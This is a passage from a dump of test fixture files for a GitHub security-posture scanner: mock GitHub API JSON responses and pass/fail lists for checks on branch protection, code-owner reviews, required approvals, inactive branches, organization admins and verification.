"allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchRequireCodeOwnerReviews/expected.yaml ================================================ pass: - "pass.json" fail: - "fail.json" ================================================ FILE: tests/github/checks/branch_security/GithubBranchRequireCodeOwnerReviews/fail.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchRequireCodeOwnerReviews/pass.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": true, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchRequireConversationResolution/expected.yaml ================================================ pass: - "pass.json" fail: - "fail.json" ================================================ FILE: tests/github/checks/branch_security/GithubBranchRequireConversationResolution/fail.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchRequireConversationResolution/pass.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": true }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchRequirePushRestrictions/expected.yaml ================================================ pass: - "pass.json" fail: - "fail.json" ================================================ FILE: tests/github/checks/branch_security/GithubBranchRequirePushRestrictions/fail.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchRequirePushRestrictions/pass.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "restrictions": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/restrictions", "users_url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/restrictions/users", "teams_url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/restrictions/teams", "apps_url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/restrictions/apps", "users": [ { "login": "gruebel", "id": 12345, "node_id": "12345", "avatar_url": "https://avatars.githubusercontent.com/", "gravatar_id": "", "url": "https://api.github.com/users/deadpool", "html_url": "https://github.com/deadpool", "followers_url": "https://api.github.com/users/deadpool/followers", "following_url": "https://api.github.com/users/deadpool/following{/other_user}", "gists_url": "https://api.github.com/users/deadpool/gists{/gist_id}", "starred_url": "https://api.github.com/users/deadpool/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/deadpool/subscriptions", "organizations_url": "https://api.github.com/users/deadpool/orgs", "repos_url": "https://api.github.com/users/deadpool/repos", "events_url": "https://api.github.com/users/deadpool/events{/privacy}", "received_events_url": "https://api.github.com/users/deadpool/received_events", "type": "User", "site_admin": false } ], "teams": [], "apps": [] }, "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchRequireStatusChecks/expected.yaml ================================================ pass: - "pass.json" fail: - "fail.json" ================================================ FILE: tests/github/checks/branch_security/GithubBranchRequireStatusChecks/fail.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubBranchRequireStatusChecks/pass.json ================================================ { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection", "required_status_checks": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_status_checks", "strict": true, "contexts": [ "build" ], "contexts_url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_status_checks/contexts", "checks": [ { "context": "build", "app_id": 12345 } ] }, "required_pull_request_reviews": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 1 }, "required_signatures": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubDisallowInactiveBranch60Days/expected.yaml ================================================ pass: - "pass.json" fail: - "fail.json" ================================================ FILE: tests/github/checks/branch_security/GithubDisallowInactiveBranch60Days/fail.json ================================================ { "name": "master", "commit": { "sha": "some-sha", "node_id": "node-id", "commit": { "author": { "name": "GitHub Action", "email": "action@github.com", "date": "2022-07-26T08:43:35Z" }, "committer": { "name": "GitHub Action", "email": "action@github.com", "date": "2022-07-26T08:43:35Z" }, "message": "update resource scan result doc", "tree": { "sha": "some-sha", "url": "https://api.github.com/repos/marynaKK/terragoat/git/trees/some-sha" }, "url": "https://api.github.com/repos/marynaKK/terragoat/git/commits/some-sha", "comment_count": 0, "verification": { "verified": false, "reason": "unsigned", "signature": null, "payload": null } }, "url": "https://api.github.com/repos/marynaKK/terragoat/commits/some-sha", "html_url": "https://github.com/marynaKK/terragoat/commit/some-sha", "comments_url": "https://api.github.com/repos/marynaKK/terragoat/commits/some-sha/comments", "author": { "login": "actions-user", "id": 12345678, "node_id": "node-id", "avatar_url": "https://avatars.githubusercontent.com/u/65916846?v=4", "gravatar_id": "", "url": "https://api.github.com/users/actions-user", "html_url": "https://github.com/actions-user", "followers_url": "https://api.github.com/users/actions-user/followers", "following_url": "https://api.github.com/users/actions-user/following{/other_user}", "gists_url": "https://api.github.com/users/actions-user/gists{/gist_id}", "starred_url": "https://api.github.com/users/actions-user/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/actions-user/subscriptions", "organizations_url": "https://api.github.com/users/actions-user/orgs", "repos_url": "https://api.github.com/users/actions-user/repos", "events_url": "https://api.github.com/users/actions-user/events{/privacy}", "received_events_url": "https://api.github.com/users/actions-user/received_events", "type": "User", "site_admin": false }, "committer": { "login": "actions-user", "id": 12345678, "node_id": "node-id", "avatar_url": "https://avatars.githubusercontent.com/u/65916846?v=4", "gravatar_id": "", "url": "https://api.github.com/users/actions-user", "html_url": "https://github.com/actions-user", "followers_url": "https://api.github.com/users/actions-user/followers", "following_url": "https://api.github.com/users/actions-user/following{/other_user}", "gists_url": "https://api.github.com/users/actions-user/gists{/gist_id}", "starred_url": "https://api.github.com/users/actions-user/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/actions-user/subscriptions", "organizations_url": "https://api.github.com/users/actions-user/orgs", "repos_url": "https://api.github.com/users/actions-user/repos", "events_url": "https://api.github.com/users/actions-user/events{/privacy}", "received_events_url": "https://api.github.com/users/actions-user/received_events", "type": "User", "site_admin": false }, "parents": [ { "sha": "some-sha", "url": "https://api.github.com/repos/marynaKK/terragoat/commits/some-sha", "html_url": "https://github.com/marynaKK/terragoat/commit/some-sha" } ] }, "_links": { "self": "https://api.github.com/repos/marynaKK/terragoat/branches/master", "html": "https://github.com/marynaKK/terragoat/tree/master" }, "protected": false, "protection": { "enabled": false, "required_status_checks": { "enforcement_level": "off", "contexts": [], "checks": [] } }, "protection_url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection" } ================================================ FILE: tests/github/checks/branch_security/GithubDisallowInactiveBranch60Days/pass.json ================================================ { "name": "master", "commit": { "sha": "some-sha", "node_id": "node-id", "commit": { "author": { "name": "GitHub Action", "email": "action@github.com", "date": "2022-12-06T15:18:41Z" }, "committer": { "name": "GitHub Action", "email": "action@github.com", "date": "2022-12-06T15:18:41Z" }, "message": "update resource scan result doc", "tree": { "sha": "some-sha", "url": "https://api.github.com/repos/marynaKK/terragoat/git/trees/some-sha" }, "url": "https://api.github.com/repos/marynaKK/terragoat/git/commits/some-sha", "comment_count": 0, "verification": { "verified": false, "reason": "unsigned", "signature": null, "payload": null } }, "url": "https://api.github.com/repos/marynaKK/terragoat/commits/some-sha", "html_url": "https://github.com/marynaKK/terragoat/commit/some-sha", "comments_url": "https://api.github.com/repos/marynaKK/terragoat/commits/some-sha/comments", "author": { "login": "actions-user", "id": 12345678, "node_id": "node-id", "avatar_url": "https://avatars.githubusercontent.com/u/65916846?v=4", "gravatar_id": "", "url": "https://api.github.com/users/actions-user", "html_url": "https://github.com/actions-user", "followers_url": "https://api.github.com/users/actions-user/followers", "following_url": "https://api.github.com/users/actions-user/following{/other_user}", "gists_url": "https://api.github.com/users/actions-user/gists{/gist_id}", "starred_url": "https://api.github.com/users/actions-user/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/actions-user/subscriptions", "organizations_url": "https://api.github.com/users/actions-user/orgs", "repos_url": "https://api.github.com/users/actions-user/repos", "events_url": "https://api.github.com/users/actions-user/events{/privacy}", "received_events_url": "https://api.github.com/users/actions-user/received_events", "type": "User", "site_admin": false }, "committer": { "login": "actions-user", "id": 12345678, "node_id": "node-id", "avatar_url": "https://avatars.githubusercontent.com/u/65916846?v=4", "gravatar_id": "", "url": "https://api.github.com/users/actions-user", "html_url": "https://github.com/actions-user", "followers_url": "https://api.github.com/users/actions-user/followers", "following_url": "https://api.github.com/users/actions-user/following{/other_user}", "gists_url": "https://api.github.com/users/actions-user/gists{/gist_id}", "starred_url": "https://api.github.com/users/actions-user/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/actions-user/subscriptions", "organizations_url": "https://api.github.com/users/actions-user/orgs", "repos_url": "https://api.github.com/users/actions-user/repos", "events_url": "https://api.github.com/users/actions-user/events{/privacy}", "received_events_url": "https://api.github.com/users/actions-user/received_events", "type": "User", "site_admin": false }, "parents": [ { "sha": "some-sha", "url": "https://api.github.com/repos/marynaKK/terragoat/commits/some-sha", "html_url": "https://github.com/marynaKK/terragoat/commit/some-sha" } ] }, "_links": { "self": "https://api.github.com/repos/marynaKK/terragoat/branches/master", "html": "https://github.com/marynaKK/terragoat/tree/master" }, "protected": false, "protection": { "enabled": false, "required_status_checks": { "enforcement_level": "off", "contexts": [], "checks": [] } }, "protection_url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection" } ================================================ FILE: tests/github/checks/branch_security/GithubRequire2Approvals/expected.yaml ================================================ pass: - "pass.json" fail: - "fail1.json" - "fail2.json" - "fail3.json" ================================================ FILE: tests/github/checks/branch_security/GithubRequire2Approvals/fail1.json ================================================ { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 0 }, "required_signatures": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubRequire2Approvals/fail2.json ================================================ { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection", "required_signatures": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubRequire2Approvals/fail3.json ================================================ { "message": "Branch not protected", "documentation_url": "https://docs.github.com/rest/branches/branch-protection#get-branch-protection" } ================================================ FILE: tests/github/checks/branch_security/GithubRequire2Approvals/pass.json ================================================ { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection", "required_pull_request_reviews": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_pull_request_reviews", "dismiss_stale_reviews": false, "require_code_owner_reviews": false, "require_last_push_approval": false, "required_approving_review_count": 2 }, "required_signatures": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubRequireUpdatedBranch/expected.yaml ================================================ pass: - "pass.json" fail: - "fail1.json" - "fail2.json" ================================================ FILE: tests/github/checks/branch_security/GithubRequireUpdatedBranch/fail1.json ================================================ { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection", "required_signatures": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubRequireUpdatedBranch/fail2.json ================================================ { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection", "required_status_checks": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection/required_status_checks", "strict": false, "contexts": [], "contexts_url": "https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection/required_status_checks/contexts", "checks": [] }, "required_signatures": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/test-no-commit/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/branch_security/GithubRequireUpdatedBranch/pass.json ================================================ { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection", "required_status_checks": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_status_checks", "strict": true, "contexts": [], "contexts_url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_status_checks/contexts", "checks": [] }, "required_signatures": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/required_signatures", "enabled": false }, "enforce_admins": { "url": "https://api.github.com/repos/marynaKK/terragoat/branches/master/protection/enforce_admins", "enabled": false }, "required_linear_history": { "enabled": false }, "allow_force_pushes": { "enabled": false }, "allow_deletions": { "enabled": false }, "block_creations": { "enabled": false }, "required_conversation_resolution": { "enabled": false }, "lock_branch": { "enabled": false }, "allow_fork_syncing": { "enabled": false } } ================================================ FILE: tests/github/checks/contribution_access/GithubMinimumAdminsInOrganization/expected.yaml ================================================ pass: - "pass_org_admins.json" fail: - "fail_org_admins.json" ================================================ FILE: tests/github/checks/contribution_access/GithubMinimumAdminsInOrganization/fail_org_admins.json ================================================ [ { "login": "login", "id": 123456, "node_id": "node-id", "avatar_url": "https://avatars.githubusercontent.com/u/99361777?v=4", "gravatar_id": "", "url": "https://api.github.com/users/marynaKK", "html_url": "https://github.com/marynaKK", "followers_url": "https://api.github.com/users/marynaKK/followers", "following_url": "https://api.github.com/users/marynaKK/following{/other_user}", "gists_url": "https://api.github.com/users/marynaKK/gists{/gist_id}", "starred_url": "https://api.github.com/users/marynaKK/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/marynaKK/subscriptions", "organizations_url": "https://api.github.com/users/marynaKK/orgs", "repos_url": "https://api.github.com/users/marynaKK/repos", "events_url": "https://api.github.com/users/marynaKK/events{/privacy}", "received_events_url": "https://api.github.com/users/marynaKK/received_events", "type": "User", "site_admin": false }, { "login": "login", "id": 123456, "node_id": "node-id", "avatar_url": "https://avatars.githubusercontent.com/u/99361777?v=4", "gravatar_id": "", "url": "https://api.github.com/users/marynaKK", "html_url": "https://github.com/marynaKK", "followers_url": "https://api.github.com/users/marynaKK/followers", "following_url": "https://api.github.com/users/marynaKK/following{/other_user}", "gists_url": "https://api.github.com/users/marynaKK/gists{/gist_id}", "starred_url": "https://api.github.com/users/marynaKK/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/marynaKK/subscriptions", "organizations_url": "https://api.github.com/users/marynaKK/orgs", "repos_url": "https://api.github.com/users/marynaKK/repos", "events_url": "https://api.github.com/users/marynaKK/events{/privacy}", "received_events_url": "https://api.github.com/users/marynaKK/received_events", "type": "User", "site_admin": false }, { "login": "login", "id": 123456, "node_id": "node-id", "avatar_url": "https://avatars.githubusercontent.com/u/99361777?v=4", "gravatar_id": "", "url": "https://api.github.com/users/marynaKK", "html_url": "https://github.com/marynaKK", "followers_url": "https://api.github.com/users/marynaKK/followers", "following_url": "https://api.github.com/users/marynaKK/following{/other_user}", "gists_url": "https://api.github.com/users/marynaKK/gists{/gist_id}", "starred_url": "https://api.github.com/users/marynaKK/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/marynaKK/subscriptions", "organizations_url": "https://api.github.com/users/marynaKK/orgs", "repos_url": "https://api.github.com/users/marynaKK/repos", "events_url": "https://api.github.com/users/marynaKK/events{/privacy}", "received_events_url": "https://api.github.com/users/marynaKK/received_events", "type": "User", "site_admin": false }, { "login": "login", "id": 123456, "node_id": "node-id", "avatar_url": "https://avatars.githubusercontent.com/u/99361777?v=4", "gravatar_id": "", "url": "https://api.github.com/users/marynaKK", "html_url": "https://github.com/marynaKK", "followers_url": "https://api.github.com/users/marynaKK/followers", "following_url": "https://api.github.com/users/marynaKK/following{/other_user}", "gists_url": "https://api.github.com/users/marynaKK/gists{/gist_id}", "starred_url": "https://api.github.com/users/marynaKK/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/marynaKK/subscriptions", "organizations_url": "https://api.github.com/users/marynaKK/orgs", "repos_url": "https://api.github.com/users/marynaKK/repos", "events_url": "https://api.github.com/users/marynaKK/events{/privacy}", "received_events_url": "https://api.github.com/users/marynaKK/received_events", "type": "User", "site_admin": false } ] ================================================ FILE: tests/github/checks/contribution_access/GithubMinimumAdminsInOrganization/pass_org_admins.json ================================================ [ { "login": "login", "id": 123456, "node_id": "node-id", "avatar_url": "https://avatars.githubusercontent.com/u/99361777?v=4", "gravatar_id": "", "url": "https://api.github.com/users/marynaKK", "html_url": "https://github.com/marynaKK", "followers_url": "https://api.github.com/users/marynaKK/followers", "following_url": "https://api.github.com/users/marynaKK/following{/other_user}", "gists_url": "https://api.github.com/users/marynaKK/gists{/gist_id}", "starred_url": "https://api.github.com/users/marynaKK/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/marynaKK/subscriptions", "organizations_url": "https://api.github.com/users/marynaKK/orgs", "repos_url": "https://api.github.com/users/marynaKK/repos", "events_url": "https://api.github.com/users/marynaKK/events{/privacy}", "received_events_url": "https://api.github.com/users/marynaKK/received_events", "type": "User", "site_admin": false } ] ================================================ FILE: tests/github/checks/contribution_access/GithubRequireOrganizationIsVerified/expected.yaml ================================================ pass: - "pass_org_metadata.json" fail: - "fail1_org_metadata.json" - "fail2_org_metadata.json" ================================================ FILE: tests/github/checks/contribution_access/GithubRequireOrganizationIsVerified/fail1_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "main@mail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_public_repositories": true, "members_can_create_private_repositories": true, "members_can_create_internal_repositories": true, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/contribution_access/GithubRequireOrganizationIsVerified/fail2_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "main@mail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_public_repositories": true, "members_can_create_private_repositories": true, "members_can_create_internal_repositories": true, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/contribution_access/GithubRequireOrganizationIsVerified/pass_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": true, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "main@mail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_public_repositories": true, "members_can_create_private_repositories": true, "members_can_create_internal_repositories": true, "members_can_create_pages": true, "members_can_fork_private_repositories": 